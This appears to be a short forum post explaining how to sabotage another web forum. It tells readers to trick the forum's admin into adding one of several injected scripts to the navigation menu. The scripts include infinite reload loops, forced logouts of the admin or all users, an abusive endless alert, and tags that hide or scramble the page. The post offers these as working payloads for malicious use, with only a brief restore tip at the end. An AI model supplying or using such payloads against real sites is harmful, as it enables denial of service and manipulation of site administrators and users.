Wanna destroy other forum?
Tell its admin, that he must add one of this scripts in additional urls navigation menu, else it may be end of Internet etc.
This script will reboot page forever. This script also will be in admin page.
0=<script>while(true;){location.href="/index.php";};</script>
Second way. This Script will also reboot page forever, but it also will do admin's logout. Dont forget to put in script admin's id (First admin's id = 2).
0=<script>while(true;){location.href="/login.php?action=out&id=ADMIN'S ID (default - 2)";};</script>
If someone go to the forum, this script will show to this someone very informative screen.
0=<script>while(true;){alert('F@CK OFF!'); alert('Admin is SHole');};</script>
This script and script #2 are similar. But this script not only reboot the page, this script will do everybodies' logout.
0=<script>location.href="/login.php?action=out&id=" + UserID;</script>
This short script will hide all forum. Small and easy)
0 = <!---
Continue our disco... This script will put all forum in invisible sportcar xD so forum will be moving.
0 = <marquee direction=left>
PS If youself got one of this scripts, go to the http://your_forum/restore.php, enter admin password and delete all scripts from navigation menu additional links.